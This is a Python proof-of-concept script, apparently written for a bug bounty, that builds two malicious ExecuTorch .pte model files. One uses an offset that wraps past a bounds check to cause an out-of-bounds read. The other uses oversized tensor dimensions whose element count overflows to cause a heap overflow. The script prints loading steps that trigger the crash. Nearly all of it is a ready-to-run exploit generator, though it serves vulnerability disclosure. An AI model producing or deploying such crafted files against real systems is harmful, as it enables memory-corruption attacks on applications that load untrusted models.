| |
| """ |
| ExecuTorch .pte Integer Overflow PoC — Builds malicious .pte and triggers crash |
| |
| CVE: NEW (unreported) |
| CWE-190: Integer Overflow or Wraparound |
| Affected: ExecuTorch (all versions using runtime/executor/program.cpp) |
| |
| Vulnerability 1: program.cpp:592 |
| offset (uint64 from flatbuffer) + size (size_t) overflows, bypassing bounds check. |
| |
| Vulnerability 2: program_validation.cpp:48-79 |
| Integer overflow checks for tensor numel are COMMENTED OUT. |
| """ |
|
|
| import struct |
| import sys |
| import os |
|
|
| sys.path.insert(0, os.path.join(os.path.dirname(__file__), "gen")) |
|
|
| import flatbuffers |
| from flatbuffers import builder as fb_builder |
| from executorch_flatbuffer import ( |
| Program, ExecutionPlan, DataSegment, SubsegmentOffsets, |
| Tensor, EValue, KernelTypes, Operator, Chain, Instruction, |
| Buffer, AllocationDetails, ExtraTensorInfo, |
| ) |
| from executorch_flatbuffer import ScalarType as ST |
|
|
| SEGMENT_DATA_SIZE = 256 |
|
|
| def build_overflow_pte(output_path): |
| """Build .pte with integer overflow in SubsegmentOffsets.""" |
| b = fb_builder.Builder(4096) |
|
|
| |
| |
| TENSOR_NBYTES = 64 |
| OVERFLOW_OFFSET = (1 << 64) - TENSOR_NBYTES |
|
|
| |
| SubsegmentOffsets.SubsegmentOffsetsStartOffsetsVector(b, 2) |
| b.PrependUint64(OVERFLOW_OFFSET) |
| b.PrependUint64(0) |
| offsets_vec = b.EndVector() |
|
|
| SubsegmentOffsets.SubsegmentOffsetsStart(b) |
| SubsegmentOffsets.SubsegmentOffsetsAddSegmentIndex(b, 0) |
| SubsegmentOffsets.SubsegmentOffsetsAddOffsets(b, offsets_vec) |
| mutable_seg = SubsegmentOffsets.SubsegmentOffsetsEnd(b) |
|
|
| |
| Program.ProgramStartMutableDataSegmentsVector(b, 1) |
| b.PrependUOffsetTRelative(mutable_seg) |
| mutable_segs_vec = b.EndVector() |
|
|
| |
| DataSegment.DataSegmentStart(b) |
| DataSegment.DataSegmentAddOffset(b, 0) |
| DataSegment.DataSegmentAddSize(b, SEGMENT_DATA_SIZE) |
| segment = DataSegment.DataSegmentEnd(b) |
|
|
| Program.ProgramStartSegmentsVector(b, 1) |
| b.PrependUOffsetTRelative(segment) |
| segments_vec = b.EndVector() |
|
|
| |
| |
| Tensor.TensorStartSizesVector(b, 2) |
| b.PrependInt32(4) |
| b.PrependInt32(4) |
| sizes_vec = b.EndVector() |
|
|
| Tensor.TensorStartDimOrderVector(b, 2) |
| b.PrependUint8(1) |
| b.PrependUint8(0) |
| dim_order_vec = b.EndVector() |
|
|
| |
| AllocationDetails.AllocationDetailsStart(b) |
| AllocationDetails.AllocationDetailsAddMemoryId(b, 1) |
| AllocationDetails.AllocationDetailsAddMemoryOffsetLow(b, 0) |
| alloc_info = AllocationDetails.AllocationDetailsEnd(b) |
|
|
| Tensor.TensorStart(b) |
| Tensor.TensorAddScalarType(b, 6) |
| Tensor.TensorAddStorageOffset(b, 0) |
| Tensor.TensorAddSizes(b, sizes_vec) |
| Tensor.TensorAddDimOrder(b, dim_order_vec) |
| Tensor.TensorAddDataBufferIdx(b, 1) |
| Tensor.TensorAddAllocationInfo(b, alloc_info) |
| tensor = Tensor.TensorEnd(b) |
|
|
| |
| EValue.EValueStart(b) |
| EValue.EValueAddValType(b, KernelTypes.KernelTypes.Tensor) |
| EValue.EValueAddVal(b, tensor) |
| evalue = EValue.EValueEnd(b) |
|
|
| ExecutionPlan.ExecutionPlanStartValuesVector(b, 1) |
| b.PrependUOffsetTRelative(evalue) |
| values_vec = b.EndVector() |
|
|
| |
| plan_name = b.CreateString("forward") |
| ExecutionPlan.ExecutionPlanStart(b) |
| ExecutionPlan.ExecutionPlanAddName(b, plan_name) |
| ExecutionPlan.ExecutionPlanAddValues(b, values_vec) |
| plan = ExecutionPlan.ExecutionPlanEnd(b) |
|
|
| Program.ProgramStartExecutionPlanVector(b, 1) |
| b.PrependUOffsetTRelative(plan) |
| plans_vec = b.EndVector() |
|
|
| |
| Program.ProgramStart(b) |
| Program.ProgramAddVersion(b, 0) |
| Program.ProgramAddExecutionPlan(b, plans_vec) |
| Program.ProgramAddSegments(b, segments_vec) |
| Program.ProgramAddMutableDataSegments(b, mutable_segs_vec) |
| program = Program.ProgramEnd(b) |
|
|
| b.Finish(program, b"ET12") |
| buf = bytes(b.Output()) |
|
|
| |
| with open(output_path, 'wb') as f: |
| f.write(buf) |
|
|
| |
| padding = (4096 - len(buf) % 4096) % 4096 |
| f.write(b'\x00' * padding) |
| segment_base = len(buf) + padding |
|
|
| |
| f.write(b'\x41' * SEGMENT_DATA_SIZE) |
|
|
| |
| |
| eh = struct.pack('<QQ', len(buf), segment_base) |
| eh_with_header = struct.pack('<I', len(eh) + 8) + b'eh00' + eh |
| |
| |
| |
| |
| |
| ext_header = struct.pack('<QQI', segment_base, len(buf), 24) + b'eh00' |
| f.write(ext_header) |
|
|
| file_size = os.path.getsize(output_path) |
| print(f"[+] Malicious .pte created: {output_path} ({file_size} bytes)") |
| print(f"[+] Flatbuffer size: {len(buf)} bytes") |
| print(f"[+] Segment base offset: {segment_base}") |
| print(f"[+] Overflow offset in SubsegmentOffsets: 0x{OVERFLOW_OFFSET:016X}") |
| print(f"[+] When loading 64-byte tensor:") |
| print(f" offset=0x{OVERFLOW_OFFSET:016X} + size=64 = 0x{(OVERFLOW_OFFSET + 64) % (1 << 64):016X} (WRAPS TO 0)") |
| print(f" 0 <= segment_size({SEGMENT_DATA_SIZE}) -> bounds check PASSES") |
| print(f" load_into() called with OOB offset -> CRASH / OOB READ") |
|
|
| return output_path |
|
|
|
|
| def build_numel_overflow_pte(output_path): |
| """Build .pte with tensor dimension overflow (commented-out checks).""" |
| b = fb_builder.Builder(4096) |
|
|
| |
| |
| |
|
|
| |
| DataSegment.DataSegmentStart(b) |
| DataSegment.DataSegmentAddOffset(b, 0) |
| DataSegment.DataSegmentAddSize(b, 256) |
| segment = DataSegment.DataSegmentEnd(b) |
|
|
| Program.ProgramStartSegmentsVector(b, 1) |
| b.PrependUOffsetTRelative(segment) |
| segments_vec = b.EndVector() |
|
|
| |
| Tensor.TensorStartSizesVector(b, 2) |
| b.PrependInt32(0x7FFFFFFF) |
| b.PrependInt32(0x7FFFFFFF) |
| sizes_vec = b.EndVector() |
|
|
| Tensor.TensorStartDimOrderVector(b, 2) |
| b.PrependUint8(1) |
| b.PrependUint8(0) |
| dim_order_vec = b.EndVector() |
|
|
| Tensor.TensorStart(b) |
| Tensor.TensorAddScalarType(b, 6) |
| Tensor.TensorAddSizes(b, sizes_vec) |
| Tensor.TensorAddDimOrder(b, dim_order_vec) |
| Tensor.TensorAddDataBufferIdx(b, 0) |
| tensor = Tensor.TensorEnd(b) |
|
|
| EValue.EValueStart(b) |
| EValue.EValueAddValType(b, KernelTypes.KernelTypes.Tensor) |
| EValue.EValueAddVal(b, tensor) |
| evalue = EValue.EValueEnd(b) |
|
|
| ExecutionPlan.ExecutionPlanStartValuesVector(b, 1) |
| b.PrependUOffsetTRelative(evalue) |
| values_vec = b.EndVector() |
|
|
| plan_name = b.CreateString("forward") |
| ExecutionPlan.ExecutionPlanStart(b) |
| ExecutionPlan.ExecutionPlanAddName(b, plan_name) |
| ExecutionPlan.ExecutionPlanAddValues(b, values_vec) |
| plan = ExecutionPlan.ExecutionPlanEnd(b) |
|
|
| Program.ProgramStartExecutionPlanVector(b, 1) |
| b.PrependUOffsetTRelative(plan) |
| plans_vec = b.EndVector() |
|
|
| Program.ProgramStart(b) |
| Program.ProgramAddVersion(b, 0) |
| Program.ProgramAddExecutionPlan(b, plans_vec) |
| Program.ProgramAddSegments(b, segments_vec) |
| program = Program.ProgramEnd(b) |
|
|
| b.Finish(program, b"ET12") |
| buf = bytes(b.Output()) |
|
|
| with open(output_path, 'wb') as f: |
| f.write(buf) |
| padding = (4096 - len(buf) % 4096) % 4096 |
| f.write(b'\x00' * padding) |
| seg_base = len(buf) + padding |
| f.write(b'\x42' * 256) |
| ext_header = struct.pack('<QQI', seg_base, len(buf), 24) + b'eh00' |
| f.write(ext_header) |
|
|
| file_size = os.path.getsize(output_path) |
| print(f"\n[+] Numel overflow .pte: {output_path} ({file_size} bytes)") |
| print(f"[+] Tensor sizes: [2147483647, 2147483647]") |
| print(f"[+] numel = 2147483647 * 2147483647 = {0x7FFFFFFF * 0x7FFFFFFF} (overflows int64!)") |
| print(f"[+] validate_tensor() overflow check is COMMENTED OUT -> passes") |
| print(f"[+] Allocates tiny buffer, copies huge data -> HEAP OVERFLOW") |
|
|
|
|
| if __name__ == "__main__": |
| poc_dir = os.path.expanduser("~/bugbounty_results/executorch/poc") |
|
|
| print("=" * 70) |
| print("ExecuTorch Integer Overflow PoC Generator") |
| print("=" * 70) |
| print() |
|
|
| |
| pte1 = build_overflow_pte(os.path.join(poc_dir, "malicious_offset_overflow.pte")) |
|
|
| |
| pte2 = build_numel_overflow_pte(os.path.join(poc_dir, "malicious_numel_overflow.pte")) |
|
|
| print() |
| print("=" * 70) |
| print("VERIFICATION") |
| print("=" * 70) |
| print() |
| print("To verify the crash, load the .pte with ExecuTorch C++ runtime:") |
| print() |
| print(" #include <executorch/runtime/executor/program.h>") |
| print(" auto program = Program::load(\"malicious_offset_overflow.pte\");") |
| print(" auto method = program->load_method(\"forward\");") |
| print(" // -> Triggers OOB read in load_mutable_subsegment_into()") |
| print() |
| print("Or with Python:") |
| print() |
| print(" from executorch.runtime import Runtime, Program") |
| print(" program = Program('malicious_offset_overflow.pte')") |
| print(" method = program.load_method('forward')") |
| print(" // -> SIGSEGV or SIGBUS") |
|
|